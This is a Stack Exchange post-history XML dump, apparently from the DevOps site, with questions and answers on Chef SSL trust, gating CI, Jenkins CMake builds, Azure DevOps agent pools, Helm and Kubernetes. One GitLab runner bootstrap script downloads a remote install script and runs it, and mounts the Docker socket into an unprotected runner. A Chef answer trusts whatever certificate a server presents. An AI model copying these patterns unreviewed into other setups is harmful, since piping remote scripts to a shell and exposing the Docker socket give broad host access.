&#xD;&#xA;    # For an internal CA signed certificate:&#xD;&#xA;    openssl s_client -showcerts -verify 5 -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null | awk '/BEGIN/,/END/{if(/BEGIN/){a++}; certs[a]=(certs[a] &quot;\n&quot; $0)}; END {print certs[a]}' &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;    export SSL_CERT_FILE=/opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;The openssl command is included in chef-dk, so this can be done under windows also.  To patch, change to `c:\opscode\`instead of `/opt/`.  And to export the environment variable use `set SSL_CERT_FILE=...` (with `/P` to add it permanently to your environment) in your command." ContentLicense="CC BY-SA 4.0" />
  <row Id="32667" PostHistoryTypeId="24" PostId="20" RevisionGUID="73fbf0f6-c048-4711-bab6-ba2775844cb8" CreationDate="2020-01-29T04:21:20.297" Comment="Proposed by 192.47.255.254|99303ec1-d818-4491-8972-11d9879b4c3e approved by 46 edit id of 1142" ContentLicense="CC BY-SA 4.0" />
  <row Id="32668" PostHistoryTypeId="10" PostId="10617" RevisionGUID="a97f1cd8-c107-4b49-b255-53d9036dda93" CreationDate="2020-01-29T04:22:04.067" UserId="46" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="32672" PostHistoryTypeId="50" PostId="10301" RevisionGUID="c278358f-b767-40d4-918b-bead4e5f84fa" CreationDate="2020-01-29T05:01:35.173" UserId="-1" />
  <row Id="32673" PostHistoryTypeId="2" PostId="10632" RevisionGUID="ea377da1-40f8-4d4c-b019-105fab0636d9" CreationDate="2020-01-29T06:15:09.587" UserId="47" Text="A traditional CI system is **reactive**, it **detects regressions**, but requires human intervention for repairs. &#xD;&#xA;&#xD;&#xA;Traditional CI relies on automated quality checks performed on the already integrated code - **after** changes are committed/merged into the integration branch (typically triggered by those events). The results of these checks indicate if the integration was successful, i.e. if the branch at that point is a good candidate for any subsequent steps towards delivery/deployment or if regressions occurred. Some regressions are considered catastrophic (for example build failures) and must be repaired ASAP as they're effectively blocking development on the branch. Unfortunately in most cases the repairs require human intervention, which can be a significant bottleneck.&#xD;&#xA;&#xD;&#xA;By contrast a gating CI system is **proactive**, it **prevents regressions** and, with proper orchestration, can be entirely automated.&#xD;&#xA;&#xD;&#xA;Gating CI performs the quality checks on **candidate** changes **prior** to them being committed/merged into the integration branch. If the checks are successful the changes are committed/merged into the branch, ideally in an automated manner, performed by the CI system itself, without human intervention. If the checks reveal regressions considered catastrophic/blocking the candidates are rejected (i.e. their commit/merge into the branch is prevented). Hence their **gating** characteristic - they will prevent &quot;bad&quot; changes from even reaching the branch.&#xD;&#xA;&#xD;&#xA;A simple example would be a pull request (PR) based integration with one or more automated validations (for example a build and maybe a smoketest) hooked up in the PR processing which must be successful for the PR to be merged. A fairly common practice for many development teams.&#xD;&#xA;&#xD;&#xA;Unfortunately rejecting &quot;bad&quot; changes alone is not sufficient to ensure the integration branch maintains a minimum quality level at all times.&#xD;&#xA;&#xD;&#xA;It is always possible to have multiple candidates outstanding at the same time. But having multiple quality checks (on different candidates) active at the same time means that at least some of the checks do not take into account the other candidates in flight, leaving room for regressions due to changes interfering with each-other - see a simple example in https://devops.stackexchange.com/questions/398/how-can-successfully-pre-verified-changes-cause-regressions-that-should-have-bee/512#512. &#xD;&#xA;&#xD;&#xA;It is for this reason that those using a PR-based system as mentioned above can probably recall that the branch can still see breakages once in a while.&#xD;&#xA;&#xD;&#xA;This can be addressed with proper **orchestration** of the quality checks. The purpose of the orchestration is to completely eliminate the risk of interference between changes by controlling when each check is started/stopped and what candidate change(s) it covers, based on one or more inputs which can include: other candidates submissions/current states, results of other checks, actual commits/merges, availability of resources necessary for the checks, etc.&#xD;&#xA;&#xD;&#xA;A very basic orchestration algorithm for the PR-based CI system mentioned above would be, for example, to only allow the merge if the tip of the branch at merge time is the same as it was when the automated PR validation started (i.e. no other change was committed/merged in the mean time). Effectively serializing PR processing, it could work great for small teams, but probably will not be able to keep up in a large scale project.&#xD;&#xA;&#xD;&#xA;The orchestration algorithm (or lack thereof) is ultimately what dictates a gated CI system's scalability, performance ability to maintain the integration branch' quality level. An algorithm 100% efficient in preventing blocking regressions would no longer require human intervention for normal operation, a gated CI system using such algorithm can typically be entirely automated - a pipeline accepting change candidates at one end, filtering out regression-causing changes on a mid tap and outputting guaranteed stable branch tags at the other end.&#xD;&#xA;&#xD;&#xA;It's probably worth mentioning that using a traditional or a gating CI only covers the integration stage and brings no fundamental restrictions on the CD (delivery/deployment) portion of a CI/CD pipeline - any traditional CI/CD tool can be plugged in behind a gated CI to perform additional (but non-gating) CI verifications (if needed) and the CD steps. Similarly any release strategy (see https://devops.stackexchange.com/questions/9034/should-i-use-release-branch-to-push-my-changes/10599#10599) can be used with either of them.&#xD;&#xA;&#xD;&#xA;**Note**: for distributed version control systems like `git` the context of the answer is the master/origin/central repository, not the local replicas." ContentLicense="CC BY-SA 4.0" />
  <row Id="32674" PostHistoryTypeId="2" PostId="10633" RevisionGUID="466a9992-4b72-4487-91c4-8dca8fce5fcc" CreationDate="2020-01-29T07:34:12.173" UserId="19373" Text="This script can be used as a bootstrap script to register private Gitlab runner and configure runner to access AWS ECR. You can use Ubuntu 18 LTS AMI and launch AWS EC2 instance to host the Gitlab runner.&#xD;&#xA;&#xD;&#xA;Attach AWS IAM role to grant EC2 instance to access AWS ECR and push-pull docker images. Also, awscli AWS configure command can be used or export AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY as environment variable.&#xD;&#xA;&#xD;&#xA;Need to export GITLAB_RUNNER_TOKEN and AWS_REGION as variable to run the script successfully.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    set -e&#xD;&#xA;    apt update -y &amp;&amp; apt install awscli make -y&#xD;&#xA;    curl -LJO https://gitlab-runner-downloads.s3.amazonaws.com/latest/deb/gitlab-runner_amd64.deb&#xD;&#xA;    dpkg -i gitlab-runner_amd64.deb&#xD;&#xA;    sed -i -e '/volumes/s/\[&quot;\/cache\&quot;]/\[&quot;\/cache&quot;,&quot;\/var\/run\/docker.sock:\/var\/run\/docker.sock&quot;]/' /etc/gitlab-runner/config.toml&#xD;&#xA;    curl -fsSL https://get.docker.com -o get-docker.sh &amp;&amp; sh get-docker.sh &amp;&amp; usermod -aG docker gitlab-runner&#xD;&#xA;    gitlab-runner register \&#xD;&#xA;      --non-interactive \&#xD;&#xA;      --url &quot;https://gitlab.com/&quot; \&#xD;&#xA;      --registration-token &quot;${GITLAB_RUNNER_TOKEN}&quot; \&#xD;&#xA;      --executor &quot;docker&quot; \&#xD;&#xA;      --docker-image &quot;docker:latest&quot; \&#xD;&#xA;      --description &quot;gitlab-runner&quot; \&#xD;&#xA;      --tag-list &quot;gitlab,runner,aws&quot; \&#xD;&#xA;      --run-untagged=&quot;true&quot; \&#xD;&#xA;      --locked=&quot;false&quot; \&#xD;&#xA;      --access-level=&quot;not_protected&quot;&#xD;&#xA;    echo -e &quot;export AWS_SDK_LOAD_CONFIG=true \nexport AWS_REGION=${AWS_REGION}&quot; &gt;&gt; ~/.bashrc&#xD;&#xA;    source ~/.bashrc &amp;&amp; mkdir ~/.docker&#xD;&#xA;    cat &lt;&lt;EOF &gt;&gt;~/.docker/config.json&#xD;&#xA;    {&#xD;&#xA;      &quot;credsStore&quot;: &quot;ecr-login&quot;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    git clone https://github.com/awslabs/amazon-ecr-credential-helper.git&#xD;&#xA;    cd amazon-ecr-credential-helper/ &amp;&amp; make docker&#xD;&#xA;    cp bin/local/docker-credential-ecr-login /usr/local/bin/&#xD;&#xA;    systemctl restart docker  &amp;&amp; gitlab-runner restart&#xD;&#xA;    export AWS_REGION=${AWS_REGION} &amp;&amp; docker-credential-ecr-login list" ContentLicense="CC BY-SA 4.0" />
  <row Id="32676" PostHistoryTypeId="5" PostId="20" RevisionGUID="18e1ddca-0726-4f6d-8dfc-d57eaaaa6c7c" CreationDate="2020-01-29T09:44:30.313" UserId="13" Comment="deleted 5 characters in body" Text="There's a couple of way to achieve the result:&#xD;&#xA;&#xD;&#xA; 1. Chef has a `trusted_dir` to allow adding certificate to the trusted list. the [documentation](https://docs.chef.io/chef_client_security.html#ssl-certificates) has a lot of details about it. Adding your CA certificate to this directory would solve the problem. `knife` has it also in a slightly different path as per it's own [documentation](https://docs.chef.io/knife_ssl_fetch.html)&#xD;&#xA;&#xD;&#xA; 2. Chef use its own CA certiticate list in `/opt/chef/embedded/ssl/certs/cacert.pem`. &#xD;&#xA;You can add your CA certificate at end of this list to trust it. &#xD;&#xA;&#xD;&#xA;The second option has an advantage of allowing you to export the environment variable `SSL_CERT_FILE` pointing to chef `cacert.pem` to allow most of the tools using `openssl` library to know your CA certificate.&#xD;&#xA;&#xD;&#xA;For the case of a self signed certificate on the chef server (or another server used as target in a recipe), `knife ssl_fetch` would allow all knife commands to work.&#xD;&#xA;&#xD;&#xA;To add the server certificate to the cacert.pem for the case 2. above, you can use the following command:&#xD;&#xA;&#xD;&#xA;    # For a self signed CA certiticate&#xD;&#xA;    openssl s_client -showcerts -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;    &#xD;&#xA;    # For an internal CA signed certificate:&#xD;&#xA;    openssl s_client -showcerts -verify 5 -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null | awk '/BEGIN/,/END/{if(/BEGIN/){a++}; certs[a]=(certs[a] &quot;\n&quot; $0)}; END {print certs[a]}' &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;    export SSL_CERT_FILE=/opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;The openssl command is included in chef-dk, so this can be done under windows also.  Change the path to `c:\opscode\` instead of `/opt/`. To export the environment variable use `set SSL_CERT_FILE=...` (with `/P` to add it permanently to your environment) in your command." ContentLicense="CC BY-SA 4.0" />
  <row Id="32677" PostHistoryTypeId="2" PostId="10634" RevisionGUID="dc7d8503-5dff-4a5d-9111-f7fd53c182b6" CreationDate="2020-01-29T12:20:26.590" UserId="19338" Text="Why is this Jenkins build failing? How can I write a Jenkins file just to test the building of this simple project?&#xD;&#xA;&#xD;&#xA;*DisplayImage.cpp*&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;opencv2/opencv.hpp&gt;&#xD;&#xA;    &#xD;&#xA;    using namespace cv;&#xD;&#xA;    &#xD;&#xA;    int main(int argc, char** argv )&#xD;&#xA;    {&#xD;&#xA;        if ( argc != 2 )&#xD;&#xA;        {&#xD;&#xA;            printf(&quot;usage: DisplayImage.out &lt;Image_Path&gt;\n&quot;);&#xD;&#xA;            return -1;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        Mat image;&#xD;&#xA;        image = imread( argv[1], 1 );&#xD;&#xA;    &#xD;&#xA;        if ( !image.data )&#xD;&#xA;        {&#xD;&#xA;            printf(&quot;No image data \n&quot;);&#xD;&#xA;            return -1;&#xD;&#xA;        }&#xD;&#xA;        namedWindow(&quot;Display Image&quot;, WINDOW_AUTOSIZE );&#xD;&#xA;        imshow(&quot;Display Image&quot;, image);&#xD;&#xA;    &#xD;&#xA;        waitKey(0);&#xD;&#xA;    &#xD;&#xA;        return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*CMakeLists.txt*&#xD;&#xA;&#xD;&#xA;    cmake_minimum_required(VERSION 2.8)&#xD;&#xA;    project( DisplayImage )&#xD;&#xA;    find_package( OpenCV REQUIRED )&#xD;&#xA;    add_executable( DisplayImage DisplayImage.cpp )&#xD;&#xA;    target_link_libraries( DisplayImage ${OpenCV_LIBS} )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Jenkinsfile*&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('build') {&#xD;&#xA;                steps {&#xD;&#xA;                    cmakeBuild&#xD;&#xA;                    installation: 'InSearchPath'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Output from Jenkins&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 6: Expected a step @ line 6, column 17.&#xD;&#xA;                       cmakeBuild&#xD;&#xA;                       ^&#xD;&#xA;    &#xD;&#xA;    WorkflowScript: 7: Expected a step @ line 7, column 31.&#xD;&#xA;                       installation: 'InSearchPath'" ContentLicense="CC BY-SA 4.0" />
  <row Id="32678" PostHistoryTypeId="1" PostId="10634" RevisionGUID="dc7d8503-5dff-4a5d-9111-f7fd53c182b6" CreationDate="2020-01-29T12:20:26.590" UserId="19338" Text="Minimal CMake Jenkinsfile failing" ContentLicense="CC BY-SA 4.0" />
  <row Id="32679" PostHistoryTypeId="3" PostId="10634" RevisionGUID="dc7d8503-5dff-4a5d-9111-f7fd53c182b6" CreationDate="2020-01-29T12:20:26.590" UserId="19338" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32683" PostHistoryTypeId="2" PostId="10636" RevisionGUID="d3019cf6-86e7-4e56-80be-7928d549c07b" CreationDate="2020-01-29T15:14:35.103" UserId="19384" Text="**bitbucket-pipelines.yml**&#xD;&#xA;&#xD;&#xA;    image: python:3.8.1&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      branches:&#xD;&#xA;        &quot;**&quot;:&#xD;&#xA;          - step:&#xD;&#xA;              name: Build&#xD;&#xA;              services:&#xD;&#xA;                - docker&#xD;&#xA;              caches:&#xD;&#xA;                - docker&#xD;&#xA;                - pip&#xD;&#xA;              script:&#xD;&#xA;                - pip install docker-compose&#xD;&#xA;                - docker network create dockernet&#xD;&#xA;                - docker-compose build&#xD;&#xA;    &#xD;&#xA;    definitions:&#xD;&#xA;      services:&#xD;&#xA;        docker:&#xD;&#xA;          memory: 2048&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32684" PostHistoryTypeId="2" PostId="10637" RevisionGUID="5a54609e-ce64-4e05-b427-eb819b59888c" CreationDate="2020-01-29T16:44:18.707" UserId="19148" Text="I can confirm that running Docker on Mac works just fine, but according to [this ServerFault question][1], it's not possible to just run MacOS in Docker. &#xD;&#xA;&#xD;&#xA;(You might be able to run MacOS in a VM in a Docker container, but that's probably not what you want.)&#xD;&#xA;&#xD;&#xA;You could purchase a MacMini, use it as a Jenkins slave and run automated tests on it as part of your build pipeline or something like that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/q/607443/556723" ContentLicense="CC BY-SA 4.0" />
  <row Id="32685" PostHistoryTypeId="2" PostId="10638" RevisionGUID="5f5b0cd2-4866-4a87-af02-9a9af054144a" CreationDate="2020-01-29T19:49:44.630" UserId="4328" Text="Verify that you have the correct [CMake Plugin][1] installed. Also, add parenthesis to your cmakeBuild statement in your pipeline&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('build') {&#xD;&#xA;          steps {&#xD;&#xA;              cmakeBuild(&#xD;&#xA;                installation: 'InSearchPath'&#xD;&#xA;              )&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/pipeline/steps/cmakebuilder/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32686" PostHistoryTypeId="2" PostId="10639" RevisionGUID="472b3593-2e4d-4e6c-8652-1c0bfcdea53b" CreationDate="2020-01-29T21:46:54.817" UserId="19393" Text="I'm really a beginner with kubernetes and really struggle with this simple tutorial from [baeldung.com][1]&#xD;&#xA;&#xD;&#xA;The only thing I did different (intentionally)  was using a google cloud cluster instead of minikube.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Basically this is what I did so far:&#xD;&#xA;&#xD;&#xA; 1. Installed google cloud sdk.&#xD;&#xA; 2. Initialized gcloud with my google cloud cluster.&#xD;&#xA; 3. Installed helm.&#xD;&#xA; 4. Created helm charts like told in the tutorial.&#xD;&#xA; 5. Changed service.yaml, values.cyaml and deployment.yaml like told in the tutorial.&#xD;&#xA;&#xD;&#xA;And when I now run &#xD;&#xA;```&#xD;&#xA;helm install hello-world .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get this error message:&#xD;&#xA;&#xD;&#xA;Error: template: hello-world/templates/serviceaccount.yaml:1:14: executing &quot;hello-world/templates/serviceaccount.yaml&quot; at &lt;.Values.serviceAccount.create&gt;: nil pointer evaluating interface {}.create&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To be honest I'm not even sure the serviceaccount.yaml is here for and I'm grateful for any advise!&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://www.baeldung.com/kubernetes-helm" ContentLicense="CC BY-SA 4.0" />
  <row Id="32687" PostHistoryTypeId="1" PostId="10639" RevisionGUID="472b3593-2e4d-4e6c-8652-1c0bfcdea53b" CreationDate="2020-01-29T21:46:54.817" UserId="19393" Text="helm install causes nil pointer" ContentLicense="CC BY-SA 4.0" />
  <row Id="32688" PostHistoryTypeId="3" PostId="10639" RevisionGUID="472b3593-2e4d-4e6c-8652-1c0bfcdea53b" CreationDate="2020-01-29T21:46:54.817" UserId="19393" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32689" PostHistoryTypeId="2" PostId="10640" RevisionGUID="5080cbdc-4de3-4690-aaac-5a65e335af73" CreationDate="2020-01-29T22:21:32.523" UserId="12314" Text="I think the short answer is: You shouldn't define **SLOs**, if you don't have historical data.&#xD;&#xA;&#xD;&#xA;With that being said, **SLIs** can be defined without historical data and correlated with KPIs and support metrics.&#xD;&#xA;&#xD;&#xA;Here is a concrete example:&#xD;&#xA;&#xD;&#xA; - Hipster store is about to launch.&#xD;&#xA; - Product management, dev and SRE wants to define SLOs.&#xD;&#xA; - They should start by defining SLIs, e.g site availability, sign-up success rate, checkout success rate.&#xD;&#xA; - PM/execs should agree to some kind of 'soft' launch and gradual rollout (if at all possible), e.g internal to employees -&gt; partners -&gt; single state/coast/country.&#xD;&#xA; - As the 'soft' and gradual rollout progresses, they can correlate swings in the SLIs with changes to KPIs (e.g revenue) and support metrics.&#xD;&#xA;&#xD;&#xA;At this point, the hipster store leadership would have some information about how much customer unhappiness/pain (e.g support metrics) and KPIs (e.g revenue) are correlated with SLIs. The SLOs are the bars. One or multiple can be set and alerts defined around them. Rinse and repeat.&#xD;&#xA;&#xD;&#xA;A follow-up question is: How to alert and what to alert on before SLOs are set? I'd take the following article in consideration - https://www.oreilly.com/ideas/reduce-toil-through-better-alerting.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32690" PostHistoryTypeId="2" PostId="10641" RevisionGUID="617d4b89-51e1-4ae6-a655-f630c95f8b66" CreationDate="2020-01-29T22:43:18.060" UserId="12314" Text="You have to define what matters the most to the customers (or users) in a cross functional manner, e.g dev, PM, Support, execs, SRE.&#xD;&#xA;&#xD;&#xA;For example, memory usage alone does NOT usually directly matter to the customers and most of the roles above. It does matter for capacity planning though -- so while it is not an application SLI/SLO, it may be important for devs/SRE and eventually execs (funding). There may be an internal SLI/SLO around keeping efficiency high.&#xD;&#xA;&#xD;&#xA;A mobile application taking too long to perform an operation or failing too often are likely to negatively impact many customers or a subset of customers that's very relevant to the business. These often turn out to be a customer facing cross functional issue, i.e support tickets are filed, execs may get called, SRE may be oncall trying to resolve the issue and will need to loop in feature [dev]elopers.&#xD;&#xA;&#xD;&#xA;Given all that, there is a need for cross functional metrics (SLIs) and boundaries (SLOs) that will represent customer pain/unhappiness. The absence of such common metrics tend to cause the following effect: &quot;memory usage is low&quot; (devs/SREs), &quot;features have been shipped&quot; (PM), &quot;I didn't get a call&quot; (execs), &quot;users are not happy&quot; (Support).&#xD;&#xA;&#xD;&#xA;Google has also published their workshop (under CC-BY 4.0) on how to define SLIs and SLOs:&#xD;&#xA;https://cloud.google.com/blog/products/management-tools/learn-how-to-set-slos-for-an-sre-or-cre-practice&#xD;&#xA;&#xD;&#xA;There is also a blog post on how to tune-up the SLIs (and SLOs) over time:&#xD;&#xA;https://cloud.google.com/blog/products/management-tools/tune-up-your-sli-metrics-cre-life-lessons&#xD;&#xA;&#xD;&#xA;Disclaimer: I work for Google." ContentLicense="CC BY-SA 4.0" />
  <row Id="32691" PostHistoryTypeId="2" PostId="10642" RevisionGUID="a4a25ef1-ba96-49db-b572-5a8f693d7b21" CreationDate="2020-01-29T23:47:01.200" UserId="19345" Text="I am using Azure DevOps.&#xD;&#xA;&#xD;&#xA;I have 5 Microsoft-hosted agents. And 10 pipelines.&#xD;&#xA;One pipeline in particular can get a bit grabby, so I want to restrict it to use just 2 agents.&#xD;&#xA;&#xD;&#xA;But I want my other 9 pipelines to have access to the 3 remaining agents. &#xD;&#xA;&#xD;&#xA;I figure Agent Pools is the right way to solve this. By default, Azure DevOps sets us up with 1 single &quot;Azure Pipelines&quot; pool with our self-hosted agents. I would like to split this into 2 pools.&#xD;&#xA;&#xD;&#xA;However, when I go to &quot;create new pool&quot; I only get the option to add &quot;self-hosted&quot; agents.&#xD;&#xA;&#xD;&#xA;How do I create a new Agent Pool with some of my existing Microsoft-hosted agents?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32692" PostHistoryTypeId="1" PostId="10642" RevisionGUID="a4a25ef1-ba96-49db-b572-5a8f693d7b21" CreationDate="2020-01-29T23:47:01.200" UserId="19345" Text="Azure DevOps - how to create a 2nd Microsoft-hosted Agent Pool" ContentLicense="CC BY-SA 4.0" />
  <row Id="32693" PostHistoryTypeId="3" PostId="10642" RevisionGUID="a4a25ef1-ba96-49db-b572-5a8f693d7b21" CreationDate="2020-01-29T23:47:01.200" UserId="19345" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32694" PostHistoryTypeId="2" PostId="10643" RevisionGUID="a81531e3-9979-4089-a7ce-39f4234e97cc" CreationDate="2020-01-30T00:52:55.543" UserId="19296" Text="This is a good question because you would assume you could do what you are after, but as far as I know you can't yet. From the docs on [sharing of parallel jobs across projects in a collection](https://docs.microsoft.com/en-us/azure/devops/pipelines/licensing/concurrent-jobs?view=azure-devops#sharing-of-parallel-jobs-across-projects-in-a-collection)&#xD;&#xA;&#xD;&#xA;&gt;Currently, there isn't a way to partition or dedicate parallel job capacity to a specific project or agent pool.&#xD;&#xA;&#xD;&#xA;I considered trying to do buckets via capabilities on a subset of my agents, and then companion demands in the pipelines, but that will not work either because [hosted pipelines don't work with demands](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/demands?view=azure-devops&amp;tabs=yaml).  &#xD;&#xA;&#xD;&#xA;In my case we had some greedy pipelines that fan out into multiple parallel jobs, that we had to update to run sequentially with ```dependsOn``` for each job. I think if your case is relatively simple you could potentially check the queue length or number of running builds in a first stage but that could get complex and might be tough to scale. &#xD;&#xA;&#xD;&#xA;Hopefully this feature gets added soon. I will look to see if I can find one to vote up on the developer community forums. I am also interested in other ideas on how to solve for this issue! &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32695" PostHistoryTypeId="5" PostId="10643" RevisionGUID="9f647266-219d-4d0d-904d-c38a403be12c" CreationDate="2020-01-30T01:02:14.757" UserId="19296" Comment="added 156 characters in body" Text="This is a good question because you would assume you could do what you are after, but as far as I know you can't yet. From the docs on [sharing of parallel jobs across projects in a collection](https://docs.microsoft.com/en-us/azure/devops/pipelines/licensing/concurrent-jobs?view=azure-devops#sharing-of-parallel-jobs-across-projects-in-a-collection)&#xD;&#xA;&#xD;&#xA;&gt;Currently, there isn't a way to partition or dedicate parallel job capacity to a specific project or agent pool.&#xD;&#xA;&#xD;&#xA;I considered trying to do buckets via capabilities on a subset of my agents, and then companion demands in the pipelines, but that will not work either because [hosted pipelines don't work with demands](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/demands?view=azure-devops&amp;tabs=yaml).  &#xD;&#xA;&#xD;&#xA;In my case we had some greedy pipelines that fan out into multiple parallel jobs, that we had to update to run sequentially with ```dependsOn``` for each job. I think if your case is relatively simple you could potentially check the queue length or number of running builds in a first stage but that could get complex and might be tough to scale. &#xD;&#xA;&#xD;&#xA;Hopefully this feature gets added soon. I will look to see if I can find one to vote up on the developer community forums. I am also interested in other ideas on how to solve for this issue! &#xD;&#xA;&#xD;&#xA;Edit found a feature [vote on it here](https://developercommunity.visualstudio.com/idea/721308/limit-parallel-jobs-for-a-pipelinefolder-of-pipeli.html) &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32696" PostHistoryTypeId="50" PostId="10343" RevisionGUID="e93eaf88-3731-46ad-bb48-8108f6776a2b" CreationDate="2020-01-30T01:02:30.327" UserId="-1" />
  <row Id="32697" PostHistoryTypeId="2" PostId="10644" RevisionGUID="255a6004-4e70-4319-9bd7-b7f8f7b1623c" CreationDate="2020-01-30T01:11:47.883" UserId="19345" Text="Short answer, yes.&#xD;&#xA;&#xD;&#xA;Azure Pipelines [supports conditional steps][1]. Find these under `Control Options` in any build step.&#xD;&#xA;&#xD;&#xA;**How** you build your custom conditions will depend on what triggers your step to true/false. &#xD;&#xA;&#xD;&#xA;The screenshot has an example of how we control a build step based on a build variable (defined in the `variables` tab of the pipeline).&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops&amp;tabs=classic&#xD;&#xA;  [2]: https://i.stack.imgur.com/UDe5H.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32699" PostHistoryTypeId="5" PostId="10639" RevisionGUID="3295104e-2af3-4526-9a35-49d8fa0eb2e8" CreationDate="2020-01-30T05:01:17.783" UserId="46" Comment="added 4 characters in body" Text="I'm really a beginner with kubernetes and really struggle with this simple tutorial from [baeldung.com][1]&#xD;&#xA;&#xD;&#xA;The only thing I did different (intentionally)  was using a google cloud cluster instead of minikube.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Basically this is what I did so far:&#xD;&#xA;&#xD;&#xA; 1. Installed google cloud sdk.&#xD;&#xA; 2. Initialized gcloud with my google cloud cluster.&#xD;&#xA; 3. Installed helm.&#xD;&#xA; 4. Created helm charts like told in the tutorial.&#xD;&#xA; 5. Changed service.yaml, values.cyaml and deployment.yaml like told in the tutorial.&#xD;&#xA;&#xD;&#xA;And when I now run &#xD;&#xA;```&#xD;&#xA;helm install hello-world .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get this error message:&#xD;&#xA;&#xD;&#xA;    Error: template: hello-world/templates/serviceaccount.yaml:1:14: executing &quot;hello-world/templates/serviceaccount.yaml&quot; at &lt;.Values.serviceAccount.create&gt;: nil pointer evaluating interface {}.create&#xD;&#xA;&#xD;&#xA;To be honest I'm not even sure the serviceaccount.yaml is here for and I'm grateful for any advise!&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://www.baeldung.com/kubernetes-helm&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32702" PostHistoryTypeId="2" PostId="10645" RevisionGUID="acb818e3-4917-4cf5-a702-32b131ae0755" CreationDate="2020-01-30T07:00:27.163" UserId="17622" Text="I am new to Kubernetes. I have followed one document and setup master node in Kubernetes. Now I want to create a Worker node, so How can I create it? I don't know anything about to set up a worker node. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32703" PostHistoryTypeId="1" PostId="10645" RevisionGUID="acb818e3-4917-4cf5-a702-32b131ae0755" CreationDate="2020-01-30T07:00:27.163" UserId="17622" Text="Worker Node in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="32704" PostHistoryTypeId="3" PostId="10645" RevisionGUID="acb818e3-4917-4cf5-a702-32b131ae0755" CreationDate="2020-01-30T07:00:27.163" UserId="17622" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32715" PostHistoryTypeId="2" PostId="10648" RevisionGUID="c8cc0ae5-4637-459b-a9fa-0712cb670ad3" CreationDate="2020-01-30T12:47:46.127" UserId="15792" Text="If you are running on VMs or outside of a cloud provider then manually setting this up involves several steps.  The tool you will need is [kubeadm][1] (see documentation linked) and you will need to init the nodes and then `kubeadm join` the nodes to the master.&#xD;&#xA;&#xD;&#xA;If you are using a cloud provider, then follow the providers documentation on how to add additional nodes.&#xD;&#xA;&#xD;&#xA;A great guide called &quot;[Kubernetes The Hard Way][2]&quot; is another good resource for learning how to setup a cluster without any automated tooling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm/&#xD;&#xA;  [2]: https://github.com/kelseyhightower/kubernetes-the-hard-way" ContentLicense="CC BY-SA 4.0" />
